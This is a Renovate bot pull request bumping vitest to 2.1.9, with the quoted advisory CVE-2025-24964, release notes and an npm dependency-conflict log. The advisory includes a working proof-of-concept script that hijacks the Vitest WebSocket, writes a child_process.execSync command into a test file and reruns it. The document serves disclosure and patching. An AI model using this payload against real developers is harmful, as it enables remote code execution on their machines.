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chore(deps): update dependency vitest to v2.1.9 [security] #307

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chore(deps): update dependency vitest to v2.1.9 [security] #307

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@renovate renovate bot commented Feb 4, 2025 •
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Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.2 -> 2.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

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renovate bot commented Feb 4, 2025 •
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⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json
npm ERR! code ERESOLVE
npm ERR! ERESOLVE could not resolve
npm ERR! 
npm ERR! While resolving: @vitest/[email protected]
npm ERR! Found: [email protected]
npm ERR! node_modules/vitest
npm ERR!   dev vitest@"2.1.9" from the root project
npm ERR! 
npm ERR! Could not resolve dependency:
npm ERR! peer vitest@"2.1.2" from @vitest/[email protected]
npm ERR! node_modules/@vitest/coverage-v8
npm ERR!   dev @vitest/coverage-v8@"2.1.2" from the root project
npm ERR! 
npm ERR! Conflicting peer dependency: [email protected]
npm ERR! node_modules/vitest
npm ERR!   peer vitest@"2.1.2" from @vitest/[email protected]
npm ERR!   node_modules/@vitest/coverage-v8
npm ERR!     dev @vitest/coverage-v8@"2.1.2" from the root project
npm ERR! 
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR! 
npm ERR! See /runner/cache/others/npm/eresolve-report.txt for a full report.

npm ERR! A complete log of this run can be found in:
npm ERR!     /runner/cache/others/npm/_logs/2025-09-25T21_08_33_159Z-debug-0.log

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 0d336b5 to 60eb324 Compare August 10, 2025 14:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 60eb324 to 88f72e4 Compare September 25, 2025 21:08
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